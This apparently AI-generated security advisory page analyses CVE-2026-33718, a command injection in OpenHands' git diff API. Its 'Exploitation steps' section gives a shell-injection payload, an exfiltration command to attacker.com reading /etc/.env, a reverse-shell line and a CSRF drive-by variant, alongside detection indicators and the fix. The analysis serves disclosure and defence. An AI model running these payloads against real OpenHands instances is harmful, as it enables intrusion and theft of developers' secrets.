CVE-2026-33718: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-33718 is a command injection vulnerability in OpenHands (formerly OpenDevin), an open-source AI software development agent, affecting the get_git_diff() method in openhands/runtime/utils/git_handler.py. The path parameter supplied to the /api/conversations/{conversation_id}/git/diff API endpoint is passed unsanitized into a shell command, enabling authenticated attackers to execute arbitrary OS commands within the agent sandbox. All versions of the openhands-ai pip package prior to 1.5.0 are affected. The vulnerability was published on March 23, 2026, with a patch merged on March 9, 2026. The CVSS v3.1 base score is 9.9 (Critical) per Feedly's assessment, while the GitHub Advisory Database assigns a score of 7.6 (High) (GitHub Advisory, OpenHands Advisory).

Technical details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The vulnerability arises from a three-stage failure: the API endpoint in openhands/server/routes/files.py accepts a user-supplied path string without validation; it is passed directly through openhands/runtime/base.py to git_handler.py, where it is interpolated into the GIT_DIFF_CMD shell template using Python's .format() method (python3 /openhands/code/openhands/runtime/utils/git_diff.py "{file_path}"); and finally executed via subprocess.run() with shell=True, which enables interpretation of shell metacharacters. A payload such as test"; id # causes the shell to interpret the constructed string as two separate commands: python3 /script.py "test" and id. A secondary injection point exists in git_diff.py where the internal git show command was also manually double-quoted. The fix, applied in PR #13051, replaces string interpolation with shlex.quote() to safely escape user input before shell embedding (GitHub Advisory, Fix PR).

Impact

Successful exploitation allows an authenticated attacker to execute arbitrary commands on the runtime container as root, bypassing the normal agent instruction channels. An attacker can read sensitive files such as .env files, API keys, and source code; write arbitrary files to inject malicious code; establish reverse shells for persistent access; and potentially escape the container if Docker is misconfigured. Additionally, because the vulnerable endpoint is a GET request, it is also exploitable via Cross-Site Request Forgery (CSRF): a malicious web page visited by a developer running OpenHands locally could silently trigger command execution on their machine (OpenHands Advisory, Fix PR).

Exploitability

A concrete proof-of-concept payload (test"; id #) is publicly documented in the GitHub Security Advisory, demonstrating the exact exploitation sequence against the /api/conversations/{id}/git/diff endpoint. Feedly classifies the exploit confidence as high, noting the advisory provides a specific attack artifact. The EPSS score is approximately 0.25–0.30%, indicating a relatively low but non-negligible probability of exploitation in the wild within 30 days. There is no current evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was reported by security researchers yueyueL and ESPanda666 (Eran Shimony of Palo Alto Networks) (GitHub Advisory, OpenHands Advisory).

Exploitation steps

  1. Reconnaissance: Identify OpenHands deployments running versions prior to 1.5.0 that expose the API publicly or are accessible to authenticated users. Check for the openhands-ai pip package version or the presence of the /api/conversations/ endpoint.
  2. Authenticate: Obtain valid credentials or a session token for the target OpenHands instance, as the endpoint requires authentication (low-privilege user access is sufficient).
  3. Identify a conversation ID: Make a legitimate API call or browse the OpenHands UI to obtain a valid {conversation_id} value for use in the exploit URL.
  4. Craft the injection payload: Construct a path parameter containing shell metacharacters to break out of the double-quoted argument context. Example payload: test"; <command> # (e.g., test"; id # for command verification, or test"; curl http://attacker.com/$(cat /etc/.env | base64) # for data exfiltration).
  5. Send the malicious GET request: Issue an HTTP GET request to /api/conversations/{conversation_id}/git/diff?path=test%22%3B%20id%20%23 with the crafted payload URL-encoded. The server constructs the shell command python3 /script.py "test"; id #" and executes both commands.
  6. Achieve persistent access (optional): Use the RCE to write a web shell, add an SSH key, or establish a reverse shell (e.g., test"; bash -i >& /dev/tcp/attacker.com/4444 0>&1 #) for persistent access to the container.
  7. CSRF variant: Alternatively, embed an <img> or <script> tag on a malicious web page pointing to the exploit URL; any developer running OpenHands locally who visits the page will have the payload execute on their machine without interaction (OpenHands Advisory, Fix PR).

Indicators of compromise

  • Network: Unusual outbound connections from the OpenHands runtime container to external IPs (e.g., reverse shell callbacks on non-standard ports); HTTP GET requests to /api/conversations/*/git/diff with URL-encoded shell metacharacters (%22, %3B, %23) in the path parameter; unexpected DNS lookups or data exfiltration traffic from the container.
  • Logs: OpenHands API access logs showing GET requests to /api/conversations/{id}/git/diff with path values containing ", ;, #, backticks, or $() sequences; unexpected command output (e.g., uid=0(root)) appearing in application logs or error responses.
  • File System: Unexpected new files in the OpenHands working directory or /tmp (e.g., sentinel files, web shells, or downloaded binaries); modifications to .env files, SSH authorized_keys, or cron jobs by the OpenHands process.
  • Process: Unusual child processes spawned by the OpenHands Python process (e.g., bash, sh, curl, wget, nc, python3 with unexpected arguments); processes running as root that are not part of normal OpenHands operation.

Mitigation and workarounds

Users should upgrade the openhands-ai pip package to version 1.5.0 or later, which includes the fix from PR #13051. The fix applies shlex.quote() to the file_path parameter before it is embedded into any shell command string in both git_handler.py and git_diff.py, preventing shell metacharacter interpretation. As an interim workaround if upgrading is not immediately possible: restrict API access to trusted, authenticated users only; place the OpenHands API behind a network firewall or VPN to prevent public exposure; and avoid running OpenHands with elevated container privileges. Longer-term, the advisory recommends migrating from shell string concatenation to subprocess with argument arrays entirely (GitHub Advisory, Fix PR).

Community reactions

The vulnerability was reported by security researchers yueyueL and Eran Shimony (ESPanda666) of Palo Alto Networks, who also drafted the CVE advisory content and requested CVE assignment after the patch was merged. Shimony noted in the PR comments that this is a "Critical RCE" that should be tracked by security scanners to notify users to update. The OpenHands maintainer (raymyers) acknowledged the report, credited the researchers, and noted the additional CSRF attack vector — that the GET endpoint could be exploited drive-by without user interaction beyond visiting a malicious page. The automated code review bot approved the fix, calling it a "solid security fix, well-tested" that uses the correct tool (shlex.quote()) for shell injection protection (Fix PR, OpenHands Advisory).

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
CVE-2026-105782HIGH7.5
  • Python logoPython
  • scrapy
NoYesOct 06, 2026
GHSA-v853-p72q-4cfwHIGH7.5
  • Python logoPython
  • quart
NoYesOct 05, 2026
CVE-2026-105751MEDIUM6.9
  • Python logoPython
  • docling
NoYesOct 05, 2026
CVE-2026-105750MEDIUM5.9
  • Python logoPython
  • docling
NoYesOct 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management